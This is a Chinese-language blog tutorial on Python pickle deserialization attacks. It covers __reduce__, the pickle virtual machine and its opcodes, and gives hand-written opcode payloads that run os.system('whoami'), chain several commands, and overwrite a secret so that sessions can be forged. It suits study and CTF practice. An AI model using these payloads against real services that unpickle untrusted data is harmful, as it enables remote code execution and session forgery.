首页 > 其他分享 >Pickle反序列化学习

Pickle反序列化学习

时间:2024-01-23 16:13:33浏览次数:21  
标签:__ 对象 pickle MARK 学习 secret opcode 序列化 Pickle

什么是Pickle?

很简单,就是一个python的序列化模块,方便对象的传输与存储。但是pickle的灵活度很高,可以通过对opcode的编写来实现代码执行的效果,由此引发一系列的安全问题

Pickle使用

举个简单的例子

import pickle
class Person():
    def __init__(self):
        self.age = 18
        self.name = 'F12'
p = Person()
opcode = pickle.dumps(p)
print(opcode)

person = pickle.loads(opcode)
print(person)
print(person.age)
print(person.name)


# 输出结果
# b'\x80\x04\x954\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x06Person\x94\x93\x94)\x81\x94}\x94(\x8c\x03age\x94K\x12\x8c\x04name\x94\x8c\x03F12\x94ub.'
# <__main__.Person object at 0x00000297918FBF10>
# 18
# F12

pickle.dumps(p) 将对象序列化,同理pickle.loads(opcode)就是反序列化的过程

注意

值得注意的是在不同平台环境下pickle生成的opcode是不同的,例如在windows和linux环境下相同的对象,dumps下来的opcode就不一样

魔术方法__reduce__

object.__reduce__是object类的一个魔术方法,我们可以通过重写该方法,让该方法在反序列化时按我们的重写的方式执行,python要求该方法返回一个字符串或元组,如果返回元组 (callable, (param1, param2, )) ,那么每当反序列化时,就会调用 callable(param1, param2, ),我们可以控制callable和它的参数来实现代码执行

Pickle反序列化漏洞利用

import pickle 
import os
class Exp():
    def __reduce__(self):
        return (os.system, ('whoami', ))
e = Exp()
opcode = pickle.dumps(e)
pickle.loads(opcode)

# 输出结果
sevydhodungnwjp\hacker

很明显在反序列化的过程时执行了 os.system('whoami'),这是pickle反序列化漏洞的最简单的利用方式,要掌握更加高级的利用手法,我们还得继续深入学习pickle

Pickle的工作原理

opcode的解析依靠Pickle Virtual Machine (PVM)进行
PVM由以下三部分组成

  • 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。 最终留在栈顶的值将被作为反序列化对象返回。
  • stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
  • memo:由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储。


当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

  • v0 版协议是原始的“人类可读”协议,并且向后兼容早期版本的 Python。
  • v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
  • v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307
  • v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
  • v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154

pickle协议是向前兼容的,v0版本的字符串可以直接交给pickle.loads(),不用担心引发什么意外。下面我们以v0版本为例,介绍一下opcode指令

常用opcode指令介绍

opcode 描述 具体写法 栈上的变化 memo上的变化
c 获取一个全局对象或import一个模块(注:会调用import语句,能够引入新的包)会加入self.stack c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n(记忆栈) pn\n 对象被储存
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象(self.stack) 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

更多的opcode指令可以查看pickle.py获取

PVM工作流程

嫖的动图
PVM解析str

PVM解析__reduce__:

手写opcode

举个简单的opcode例子:

opcode = '''cos              # c[moudle]\n[instance]\n
system			     # 前两句相当于导入os模块,调用system
(S'whoami'		     # ( 压入MARK标记 , S'whoami' 压入 whoami字符串
tR.			     # t 寻找栈中的上一个MARK,并组合之间的数据为元组,也就是('whoami')
'''			     # R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数,即os.system('whoami')
                             # . 程序结束,栈顶的一个元素作为pickle.loads()的返回值,返回值就是os.system('whoami')的执行结果

程序:

import pickle
opcode = '''cos
system
(S'whoami'
tR.
'''
pickle.loads(opcode.encode())

# 运行结果
sevydhodungnwjp\hacker

pickletools介绍

pickletools模块可以将opcode指令转变成易读的形式:

import pickletools
opcode = '''cos
system
(S'whoami'
tR.
'''
print(pickletools.dis(opcode.encode()))

多命令执行

在上面描述的修改reduce来达到命令执行的效果,一次只能执行一条命令,想要多命令执行就只能通过手写opcode来实现,只要不碰到.导致程序结束返回就能一直执行命令

import pickle
opcode = '''cos
system
(S'whoami'
tRcos
system
(S'whoami'
tR.
'''
pickle.loads(opcode.encode())

# 运行结果
sevydhodungnwjp\hacker
sevydhodungnwjp\hacker

R,i,o介绍

在opcode里能执行函数的字节码就是R,i,o

  • R
opcode=b'''cos
system
(S'whoami'
tR.
'''
  • i : 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)
opcode=b'''(S'whoami'
ios
system
.'''
  • o : 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象)
opcode=b'''(cos
system
S'whoami'
o.'''

实例化对象

实例化对象也是一种变相的函数执行,因为python不需要new 一个对象(bushi

import pickle
class Person():
    def __init__(self, age, name):
        self.age = age
        self.name = name
opcode = '''c__main__
Person
(I18
S'F12'
tR.
'''
p = pickle.loads(opcode.encode())
print(p.age)
print(p.name)

# 运行结果
18
F12

变量覆盖

也是一个nb的利用手段,通常python框架使用了session时都会有个secret,我们可以通过覆盖掉这个secret来伪造session

secret = "F13"
import pickle
import secret
print("一开始:"+ secret.secret)
opcode = b'''c__main__
secret
(S'secret'
S'F12'
db.
'''
fake = pickle.loads(opcode)
print("最后:"+ fake.secret)

# 运行结果
一开始:F13
最后:F12

首先通过c来获取main.secret模块,然后将MARK标记压入栈,字符串secret,F12压入栈,d将两个字符串组合成字典也就是{'secret': 'F12'}的形式,由于在pickle中,反序列化的数据都是以key-value的形式存储的,所有main.secret 也就是 {'secret': 'F13'},b执行dict.update(),也就是{'secret': 'F13'}.update({'secret': 'F12'}),最终secret变成了F12

Pker工具介绍

一个方便生成所需要opcode代码的工具:https://github.com/eddieivan01/pker
仿python语法生成opcode,使用方法很简单

标签:__,对象,pickle,MARK,学习,secret,opcode,序列化,Pickle
From: https://www.cnblogs.com/F12-blog/p/17982311

相关文章

  • Inplementation of Binary Search Tree using iteration-local version 2【1月23日学
    点击查看代码#include<iostream>usingnamespacestd;structNode{intdata;Node*left;Node*right;};Node*newNode(intx){Node*temp=newNode;temp->data=x;temp->left=temp->right=nullptr;returntemp......
  • 李宏毅《机器学习》总结 - 类神经网络
    核心问题:CriticalPoint在GradientDescent的时候,如果遇到梯度为0的情况,导致无法继续optimization,这样的点叫做CritcalPoint如果最后优化的结果不好,则出现这样的点的原因有2个:一个是到localminima了,另一个是在驻点了(也叫鞍点,SaddlePoint)。现在主要关注的是如何判......
  • IBM java的分析工具(ga和ha)学习和整理
    IBMjava的分析工具(ga和ha)学习和整理背景前几天学习了整理了jca工具今天继续学习一下ga工具ga工具主要是分析gclog相关.可以很直观的进行gclog的分析和展示.除了mat之外还有一个比较轻量级的内存dump分析工具ha.想着一起学习和分析一下.ga工具的相关学习下载......
  • maven工具学习
    代理源默认源下载依赖会很慢,在maven的setting.xml的配置下国内镜像源即可<?xmlversion="1.0"encoding="UTF-8"?><settingsxmlns="http://maven.apache.org/SETTINGS/1.2.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"......
  • spring学习笔记
    目录IoC概念DI(依赖注入)SpringDemo项目新建maven项目加入依赖定义类:接口和实现类Spring的配置文件Spring容器创建对象使用容器中的对象问题1:spring创建对象,调用是类的那个方法问题2:spring是在什么时候创建对象问题3:spring容器创建对象,一次创建几个获取容器中对象的信息spri......
  • MySQL学习总结 (InnoDB)
    主要内容:存储结构索引锁事务存储结构表索引组织表:表是根据主键顺序组织存放的。如果表中没有非空惟一索引,引擎会自动创建一个6字节大小的指针。主键的索引是定义索引的顺序,而不是建表时列的顺序。表空间:逻辑结构的最高层,所有的数据都存放在表空间中。段:表空间由各个段组成,常见的段......
  • C# 对数值进行与,或,异或操作的学习理解
    //&符号是and,与,一个为0都是0,全部为1才是1//1&1=1,1&0=0,1与任何数都是任何数//0&1=0,0&0=0,0与任何数都是0varnum1=0b_1010_1010_1010;varnum2=0b_1111_0000;//保留num1二进制中4-7位Conso......
  • 人工智能与机器学习在工业质量检测中的融合发展
    人工智能与机器学习在工业质量检测中的融合发展随着科技的进步,人工智能和机器学习已经成为引领工业质量检测变革的重要力量。它们在工业领域的应用,不仅提高了检测的准确性和效率,也为企业带来了前所未有的发展机遇。一、机器学习在工业质量检测中的优势机器学习技术可以通过训练模......
  • [SQLAlchemy] sqlAlchemy学习笔记(2): 在orm中使用select
    SELECT的作用select在sql中的作用是选中特定列并以表的形式返回,是必要的关键字;在sqlalchemy中,select()方法会返回一个Select对象,并根据这个对象引入其他方法,如where(),join(),order_by()等等fromsqlalchemyimportselectstmt=select(User).where(User.name==......
  • 基于SSM的毕业生交流学习平台
    使用旧方法对毕业生交流学习信息进行系统化管理已经不再让人们信赖了,把现在的网络信息技术运用在毕业生交流学习信息的管理上面可以解决许多信息管理上面的难题,比如处理数据时间很长,数据存在错误不能及时纠正等问题。这次开发的毕业生交流学习平台对招聘信息,考研资料信息,考公资料......